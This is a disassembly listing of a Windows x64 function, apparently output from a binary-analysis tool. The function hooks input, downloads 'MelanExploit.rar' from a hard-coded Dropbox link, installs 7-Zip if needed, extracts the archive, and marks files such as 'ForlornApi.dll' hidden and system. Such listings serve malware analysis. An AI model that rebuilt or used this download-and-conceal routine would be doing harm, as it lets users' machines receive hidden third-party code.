Function at 0x140002930
Capabilities:
Check if file exists
Enumerate gui resources
Get file attributes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rbp + 0x100], rax
xor ebx, ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test rax, rax
je 0x140002975
mov edx, 3
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str._n__________________________________________________________n________________________________________________n_.__.___________________________________________n______________________________________n_________________________________________n_________________________._____________n________________________________________________________n__________________________________________________________n_______________________________________________________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004c00
mov rcx, rax
lea rdx, [0x140004e00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
lea rcx, [0x1400013a0]
call qword [sym.imp.USER32.dll_EnumWindows]
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140001440]
mov ecx, 0xe
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x14000dbe0], rax
test rax, rax
jne 0x1400029d7
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [0x140008f20]
movdqu xmmword [rbp + 0x50], xmm1
movsd xmm0, qword [str.MelanExploit]
movsd qword [rbp + 0x40], xmm0
mov eax, dword [0x140008b60]
mov dword [rbp + 0x48], eax
mov byte [rbp + 0x4c], bl
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140002a6e
test al, 0x10
je 0x140002a6e
lea rdx, str.Directory
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004c00
mov rcx, rax
lea rdx, [rbp + 0x40]
call fcn.140004de0
mov rcx, rax
lea rdx, str._already_exists._Exiting.
call fcn.140004c00
mov rcx, rax
lea rdx, [0x140004e00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x14000dbe0]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140008ed0]
mov qword [rsp + 0x30], rax
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x2c], edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x40], rax
mov byte [rbp - 0x44], 0
mov byte [rbp - 0x4f], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x40], rbx
mov rax, qword [0x14000dbf0]
mov qword [rbp - 0x4c], rax
mov qword [rbp - 0x58], rbx
mov r8d, 1
lea rdx, str.C:Program_Files7_Zip7z.exe
lea rcx, [rsp + 0x40]
call fcn.140004960
test rax, rax
jne 0x140002b57
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
movzx ebx, al
lea rcx, [rsp + 0x30]
call fcn.140002470
test bl, bl
jne 0x140002be7
lea rdx, str.7_Zip_not_found._Installing...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004c00
mov rcx, rax
lea rdx, [0x140004e00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140002530
test al, al
jne 0x140002be7
lea rdx, str.Failed_to_install_7_Zip._Exiting.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004c00
mov rcx, rax
lea rdx, [0x140004e00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x14000dbe0]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.https:__www.dropbox.com_scl_fi_tllw3rqm7hmcb72pyvs13_MelanExploit.rar_rlkey5yyle8l2oyl25ei0h2fo5prqnst5uwia5x9dl1
lea rcx, [rbp + 0xe0]
call fcn.1400040b0
nop
lea rdx, str.MelanExploit.rar
lea rcx, [rbp + 0x60]
call fcn.1400040b0
nop
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0xe0]
call fcn.140001560
test al, al
je 0x140002d8e
lea rdx, str.Successfully_downloaded
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004c00
mov rcx, rax
lea rdx, [rbp + 0x60]
call fcn.140004de0
mov rcx, rax
lea rdx, [0x140004e00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x60]
call fcn.140001990
test al, al
je 0x140002d85
lea rdx, str.Successfully_extracted
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004c00
mov rcx, rax
lea rdx, [rbp + 0x60]
call fcn.140004de0
mov rcx, rax
lea rdx, [0x140004e00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x40]
call fcn.140002900
test al, al
je 0x140002d85
lea r8, str.ForlornApi.dll
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xc0]
call fcn.140005050
nop
lea r8, str._bin
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xa0]
call fcn.140005050
nop
lea r8, str.Monaco
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.140005050
nop
lea rcx, [rbp + 0xc0]
call fcn.1400023b0
test al, al
je 0x140002d30
lea rcx, [rbp + 0xa0]
call fcn.1400023b0
test al, al
je 0x140002d30
lea rcx, [rbp + 0x80]
call fcn.1400023b0
test al, al
je 0x140002d30
lea rdx, str.Successfully_set_hidden_and_system_attributes_for_files_and_folders.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x140002d3e
lea rdx, str.Failed_to_set_hidden_and_system_attributes.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004c00
lea rdx, [0x140004e00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x60]
call fcn.140002340
nop
lea rcx, [rbp + 0x80]
call fcn.140004050
nop
lea rcx, [rbp + 0xa0]
call fcn.140004050
nop
lea rcx, [rbp + 0xc0]
call fcn.140004050
jmp 0x140002dbd
lea rdx, str.Failed_to_extract
jmp 0x140002d95
lea rdx, str.Failed_to_download
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004c00
lea rdx, [rbp + 0x60]
mov rcx, rax
call fcn.140004de0
lea rdx, [0x140004e00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x14000dbe0]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3